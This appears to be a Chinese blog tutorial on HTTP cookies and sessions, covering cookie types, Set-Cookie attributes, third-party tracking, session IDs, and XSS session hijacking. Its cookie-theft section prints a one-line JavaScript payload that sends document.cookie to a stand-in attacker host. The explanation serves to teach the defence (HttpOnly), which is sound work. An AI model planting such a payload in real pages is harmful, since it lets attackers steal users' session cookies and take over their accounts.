cookie和session那些事

Posted homehtml

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了cookie和session那些事相关的知识,希望对你有一定的参考价值。

cookie

history

cookie最初是由网景公司开发的,现在所有主要的浏览器都支持它.

type

cookie分为两种:会话cookie和持久cookie.
会话cookie是一种临时的cookie,它记录用户的访问站点的设置偏好.用户在退出浏览器就会被删除.
持久cookie是存储在硬盘上的,通常用持久cookie维护用户周期性访问的站点的配置文件或用户名.
会话cookie和持久cookie的区别在于有没有过期时间,没有过期时间就是会话cookie.

cookie罐

cookie的基本思想是让浏览器积累一组服务器特有的信息,每次访问这个服务器时都将信息提供给它.

浏览器负责存储cookie信息,所以这系统称为客户端侧状态(client-side state).

此cookie的正是规范名称为HTTP状态管理机制(HTTP state management mechanism).

站点使用不同的cookie

很多web站点都会与第三方厂商达成协议,由其来管理广告.用户在访问多个由相同广告公司提供服务的站点时.(由于域名是匹配)浏览器就会回送设置好的持久cookie. 营销公司可以将此技术与Referer首部结合, 暗里构建用户文档收集用户习惯.

第三方cookie

当你访问A网站时,a服务器设置B网站的cookie,当你访问B网站时,客户端就把cookie发给b服务器,b服务器就收到了cookie.做相应的处理.

cookie版本0属性

在服务器上可以在响应的首部加Set-cookie的属性控制哪些站点可以使用cookie.
Set-cookie: user="mary"; expires="Manday, 01-01-1999 01-01-01"; pref=password; path=/secure/; secure domain="xxx.com"
NAME=VALUE:强制,键值
expires: 过期时间(Weekday, DD-MM-YY HH:MM:SS GMT)
path: 路径
secure: 在https时发送

cookie版本1新增属性

Version: 强制,使用cookie的版本
Comment: 告诉客户端如何使用
CommentURL: 指向详细描述这cookie目的和策略的文档
Discard:客户端在程序终止时,放弃这个cookie
Max-Age:以秒单位,设置cookie的过期时间
port:端口号

会话跟踪

在用户访问站点进行多项事务可用cookie进行对用户的跟踪.在用户访问站点时,就会启动事务链,在web服务器会使用重定向,URL重写以及cookie设置.

a-客户端打开xxx.com网页
b-服务器将客户端重定向到其他URL上(Location: http://www.xxx.com/redirect.html)
c-客户端向重定向的URL发请求
d-服务端响应上送出两个会话cookie,将用户重定向到另一个URL(Location: http://www.xxx.com/redirect.html/cookie[key])
e-客户端向重定向的URL发请求,并把cookie附加在请求
f-服务器收到请求,在送两个cookie,在重定向(Location: http://www.xxx.com/end.html)
g-客户端向重定向的URL发请求,并附上所有的cookie
h-服务器回送内容
(来自于amazon.com栗子)

cache

可以在请求头注明cookie不可缓存

Cache-Control: no-cache=‘Set-Cookie‘

Max Length

IE6及更低版本限制每个域名最多20个cookie
IE7和之后版本每个域名最多50个。IE7最初是支持每个域名最大20个cookie,之后被微软的一个补丁所更新
Firefox限制每个域最多50个cookie
Opera限制每个域最多30个cookie
Safari和Chrome对于每个域的cookie数量限制没有硬性规定

cookie窃取

攻击者 => a 被攻击者 => b
a服务器的文件 => http://xxx.com/xxx.php
a只要在b的服务器上加一行代码,就能获取用户在b网站的cookie

location.href=‘http://xxx.com/xxx.php?cookie=‘ + document.cookie

short

缺点是不太安全,敏感信息最好别用cookie存储

session

session是一个抽象概念,服务端需要记录用户的状态时,就需要用某种机制来识具体的用户,这机制就是session机制.服务端session的数据结构,用来跟踪用户的状态,这个数据可以保存在集群、数据库、文件(服务器) .

实现

第一次创建Session的时候,服务端会在HTTP协议中告诉客户端,需要在 Cookie 里面记录一个Session ID,以后每次请求把这个会话ID发送到服务器.
每次HTTP请求的时候,客户端都会发送相应的Cookie信息到服务端.

XSS劫持

跨站脚本攻击(Cross Site Script为了区别于CSS简称为XSS)指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。
服务器生成的用以标识客户信息的cookie一般被称为sessionId,而通过一些手段获取其它用户sessionId的攻击就叫session劫持

set-cookie设置一个HttpOnly搞掂了

以上是关于cookie和session那些事的主要内容,如果未能解决你的问题,请参考以下文章

cookie 和 session 的一些事 中间件

session和cookie的一些事

Cookie和Session的那些事儿

C#-WebForm-★内置对象简介★Request-获取请求对象Response相应请求对象Session全局变量(私有)Cookie全局变量(私有)Application全局公共变量Vi(代码片段

单点登录原理及CAS实现面试+工作

web前端细解cookie那些事